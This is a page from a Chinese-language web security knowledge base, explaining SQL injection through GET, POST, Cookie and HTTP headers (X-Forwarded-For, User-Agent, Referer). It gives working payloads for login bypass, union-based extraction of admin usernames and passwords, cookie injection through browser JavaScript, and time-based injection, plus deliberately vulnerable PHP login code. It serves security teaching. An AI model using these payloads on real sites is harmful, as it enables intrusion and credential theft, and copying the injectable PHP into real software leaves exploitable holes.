secskill
  • Introduction
  • 1.web应用漏洞
    • 1.1 SQL注入漏洞
      • 1.1.1 type注入利用
      • 1.1.2 mothod注入利用
      • 1.1.3 按照效果注入利用
      • 1.1.4 order,limit和from后的注入
      • 1.10.1 sqlmap使用
    • 1.2 目录遍历漏洞
    • 1.3 跨站脚本漏洞
      • 1.3.10 flash xss
      • 1.3.11 Uxss
    • 1.4 未过滤HTML代码漏洞
    • 1.5 数据库运行出错
    • 1.6 Flash安全配置缺陷漏洞
    • 1.7 编辑器漏洞
      • 1.7.1 kindeditor编辑器漏洞
        • 1.7.1.1 kindeditor<=4.1.5文件上传漏洞
      • 1.7.2 fckeditor编辑器漏洞
        • 1.7.2.1 fckeditor<=2.6.4文件上传漏洞
    • 1.8 URL Redirect漏洞
    • 1.9 任意文件上传漏洞
    • 1.10 敏感信息泄露漏洞
    • 1.11 未加密登陆请求漏洞
    • 1.12 后台弱口令漏洞
    • 1.13 后台口令暴力破解漏洞
    • 1.14 跨站请求伪造漏洞
    • 1.15 Unicode 编码转换漏洞
    • 1.16 Possible .Net Error Message
    • 1.17 发生内部错误漏洞
    • 1.18 旁站攻击漏洞
    • 1.19 后台登录页面绕过
    • 1.20 Possible PHP Error Message
    • 1.21 UrlPath Pollution
    • 1.22 File Operation-Web.xml漏洞
    • 1.23 短文件名泄漏漏洞
    • 1.24 OS注入漏洞
    • 1.25 SOAP注入漏洞
    • 1.26 SMTP注入漏洞
    • 1.27 LDAP注入漏洞
    • 1.28 命令执行漏洞
    • 1.29 HTTP消息头注入漏洞
    • 1.30 验证机制缺陷漏洞
    • 1.31 越权漏洞
    • 1.31 服务端请求伪造漏洞
    • 1.32 xxe漏洞
    • 1.33 逻辑漏洞
    • 1.34 支付漏洞
      • 1.34.1 支付漏洞
    • 1.35 cors漏洞
      • 1.35.1 cors
    • 1.36 jsonp漏洞
    • 1.37 点击劫持漏洞
    • 1.38 框架注入漏洞
    • 1.39 文件包含漏洞
    • 1.40 CRLF注入漏洞
    • 1.41 SSTI漏洞
  • 2.中间件漏洞
    • 2.1 IIS
      • 2.1.1 CVE-2017-7269
    • 2.2 Apache
    • 2.3 Axis2
    • 2.4 lighttpd
    • 2.5 Tomcat
      • 2.5.1 CVE-2017-12615
    • 2.6 Nginx
    • 2.7 WebLogic
    • 2.8 JBoss
    • 2.9 Websphere
    • 2.10 Struct2
    • 2.11 XAMMP
    • 2.12 LAMPP
    • 2.13 FastCGI
    • 2.14 PHPCGI
    • 2.15 JOnAS
    • 2.16 Joomla
      • 2.16.1 CVE-2017-8917
    • 2.17 Padding oracle
    • 2.18 Jenkins
      • 2.18.1 CVE-2019-1003000
      • 2.18.2 CVE-2017-1000353
    • 2.18 Drupal
      • 2.18.1 CVE-2019-6340l
    • 2.19 PHPGD
      • 2.19.1 CVE-2019-6977
    • 2.20 PhpMyAdmin
      • 2.20.1 CVE-2016-5734
      • 2.20.2 反序列化漏洞
      • 2.20.3 CVE-2018-12613
    • 2.21 PHP
      • 2.21.1 extract
      • 2.21.2 strcmp
      • 2.21.3 urldecode
      • 2.21.4 md5
      • 2.21.5 strpos
      • 2.21.6 is_numeric
      • 2.21.7 sha
      • 2.21.7 ereg
      • 2.21.8 creat
  • 3.系统漏洞
    • 3.1 DNS域传送漏洞
    • 3.2 SSH Services Port 22 Enabled
    • 3.3 NetBIOS Services Port 139 Enabled
    • 3.4 OpenSSL 漏洞
    • 3.5 docker remote API漏洞
    • 3.6 Samba远程代码执行漏洞
    • 3.7 Windows系统漏洞
      • 3.7.1 ms17-010
      • 3.7.2 ms08-067
      • 3.7.3 ms16-075
      • 3.7.4 CVE-2017-0213
      • 3.7.5 ms16-135
      • 3.7.6 CVE-2018-8120
      • 3.7.7 CVE-2018-0824
    • 3.8 linux系统漏洞
      • 3.8.1 ubuntu
        • 3.8.1.1 CVE-2015-1328
        • 3.8.1.2 CVE-2017-16995
    • 3.9 openssh漏洞
      • 3.9.1 cve-2016-6515
  • 4.网络漏洞
    • 4.1 ARP欺骗嗅探漏洞
    • 4.2 反弹shell的N种姿势
    • 4.3 DNS欺骗
  • 5.cms漏洞
    • 5.1 08cms
    • 5.2 74cms
    • 5.3 Appcms
    • 5.4 Aspcms
    • 5.5 Bluecms
    • 5.6 Cscms
    • 5.7 Dedecms
    • 5.8 Discuz
      • 5.8.1 Discuz任意文件删除
    • 5.9 Dkcms
    • 5.10 Ecshop
    • 5.11 Finecms
    • 5.12 Fscms
    • 5.13 Jeecms
    • 5.14 Ibcms
    • 5.15 Maccms
    • 5.16 Php168
    • 5.17 Phpcms
    • 5.18 Phpmywind
    • 5.19 Phpwind
    • 5.20 Phpweb
    • 5.21 Qibocms
    • 5.22 Seacms
    • 5.23 Shopex
    • 5.24 Thinkphp
      • 5.24.1 SQL
      • 5.24.2 RCE
      • 5.24.3 RCE2
    • 5.25 Typecho
    • 5.26 Wordpress
      • 5.26.1 Wordpress Plugin_sql
    • 5.27 Xycms
    • 5.28 Zabbix
    • 5.29 Zblog
    • 5.30 Zzcms
Powered by GitBook
On this page
  • GET注入
  • POST注入
  • cookie注入
  • Cookie注入实战
  • http头注入

Was this helpful?

  1. 1.web应用漏洞
  2. 1.1 SQL注入漏洞

1.1.2 mothod注入利用

Previous1.1.1 type注入利用Next1.1.3 按照效果注入利用

Last updated 5 years ago

Was this helpful?

本文将介绍四种提交方式的注入

  • Get

  • Post

  • Cookie

  • Http头

GET注入

提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接 , id 是注入点。 之前的都是get注入,这里不再赘述,着重介绍下其他的注入

POST注入

使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。

万能密码测试

' or 1=1#

猜字段数

' order by 4#

猜表名

'or 1=1 union select 1,2,3,4 #

猜内容

替换1,2,3为你想要获得的内容

'or 1=1 union select 1,version(),3,4 #

测试代码

<form action="" method="POST">
用户:<input name="u" type="test" /></br></br>
密码:<input name="p" type="test" /></br></br>
<input name="" type="submit" value="登录"/></br></br>
</form>

<?php
$username=$_POST['u'];
$password=$_POST['p'];
$conn=mysql_connect("127.0.0.1","root","root");
mysql_select_db("fendo",$conn);
$sql="select * from user where username='$username' and password='$password'";
$result=mysql_query($sql);
//数组遍历结果选择显示
    while($row = mysql_fetch_array($result)){
        echo "用户ID:".$row['id']."<br >";
        echo "用户名:".$row['username']."<br >";
        echo "用户密码:".$row['password']."<br >";
    }
echo '执行的sql语句为'.$sql;
mysql_close($conn);
?>

cookie注入

HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。

Cookie注入简单来说就是利用Cookie而发起的注入攻击。从本质上来讲,Cookie注入与传统的SQL注入并无不同,两者都是针对数据库的注入,只是表现形式上略有不同罢了。

要想深入了解Cookie注入的成因,必须要了解ASP脚本中的request对象。它被用于从用户那里获取信息。Request对象的使用方法一般是这样的:request.[集合名称](参数名称),比如获取从表单中提交的数据时可以这样写:request.form("参数名称"),但ASP中规定也可以省略集合名称,直接用这样的方式获取数据:request("参数名称"),当使用这样的方式获取数据时,ASP规定是按QueryString、Form、Cookies、ServerVariables的顺序来获取数据的。这样,当我们使用request("参数名称")方式获取客户端提交的数据,并且没有对使用request.cookies("参数名称")方式提交的数据进行过滤时,Cookie注入就产生了。

Cookie注入典型步骤

1.寻找形如“.asp?id=xx”类的带参数的URL。

2.去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。

3.清空浏览器地址栏,输入“javascript:alert(document.cookie="id="+escape("xx"));”,按Enter键后弹出一个对话框,内容是“id=xx”,然后用原来的URL刷新页面,如果显示正常,说明应用使用Request("id")这种方式获取数据的。

4.重复上面的步骤,将常规SQL注入中的判断语句带入上面的URL:


    “javascript:alert(document.cookie="id="+escape("xx and 1=1"));” “javascript:alert(document.cookie="id="+escape("xx and 1=2"));”

和常规SQL注入一样,如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入。

5.使用常规注入语句进行注入即可。

Cookie注入实战

1.寻找形如“.asp?id=xx”类的带参数的URL。

提示包好非法字符串,这是由于它对POST/GET进行了过滤。

2.去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。

3.清空浏览器地址栏,输入“javascript:alert(document.cookie="id="+escape("xx"));”,按Enter键后弹出一个对话框,内容是“id=xx”,然后用原来的URL刷新页面,如果显示正常,说明应用使用Request("id")这种方式获取数据的。

4.重复上面的步骤,将常规SQL注入中的判断语句带入上面的

URL:“javascript:alert(document.cookie="id="+escape("xx and 1=1"));” URL:“javascript:alert(document.cookie="id="+escape("xx and 1=2"));”

和常规SQL注入一样,如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入

猜解内容

javascript:alert(document.cookie="id="+escape("27 union select 1,username,password,4,5,6,7,8,9,10,11 from admin "));

http头注入

注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

常见的http注入的参数

  1. HTTP_CLIENT_IP

  2. ‘HTTP_X_FORWARDED_FOR’,

  3. ‘HTTP_X_FORWARDED’,

  4. ‘HTTP_X_CLUSTER_CLIENT_IP’,

  5. ‘HTTP_FORWARDED_FOR’,

  6. ‘HTTP_FORWARDED’,

  7. ‘REMOTE_ADDR

  8. User-agent

  9. Referer

利用X-Forwarded-For进行sql注入

由于系统一般会采用String ip = request.getHeader("X-Forwarded-For");进行获取ip,然后注入者就可以通过X-Forwarded-For请求头信息就行伪造ip,当然了这个ip也可以是一些注入语句,如下


X-Forwarded-For:payload';WAITFOR DELAY '0:0:5'--
String sql = "select * from table where ip = '"+ip+"'";

那么我们得到的sql语句就会是这样

select * from table where ip = payload';WAITFOR DELAY '0:0:5'--'

注入测试

修改其中的X-Forward-Type的值

说明这个参数可控 将所需的SQL语句带入查询即可

这个头字段可以像下面这样简单地修改:

GET /index.php HTTP/1.1 Host: [host] X_FORWARDED_FOR :127.0.0.1' or 1=1#

这样的修改将会导致绕过安全认证。

User-agent

用户代理(user agent)是记录软件程序的客户端信息的HTTP头字段,他可以用来统计目标和违规协议。在HTTP头中应该包含它,这个字段的第一个空格前面是软件的产品名称,后面有一个可选的斜杠和版本号。 并不是所有的应用程序都会被获取到user-agent信息,但是有些应用程序利用它存储一些信息(如:购物车)。在这种情况下,我们就有必要研究下user-agent头存在的问题了。 HTTP查询实例:

GET /index.php HTTP/1.1 Host: [host] User-Agent: aaa' or 1/*

Referer

Referer是另外一个当应用程序没有过滤存储到数据库时,容易发生SQL注入的HTTP头。它是一个允许客户端指定的可选头部字段,通过它我们可以获取到提交请求URI的服务器情况。它允许服务器产生一系列的回退链接文档,像感兴趣的内容,日志等。它也允许跟踪那些坏链接以便维护。 例如:

GET /index.php HTTP/1.1 Host: [host] User-Agent: aaa' or 1/* Referer:

http://www.yaboukir.com
http://xxx.com/news.php?id=1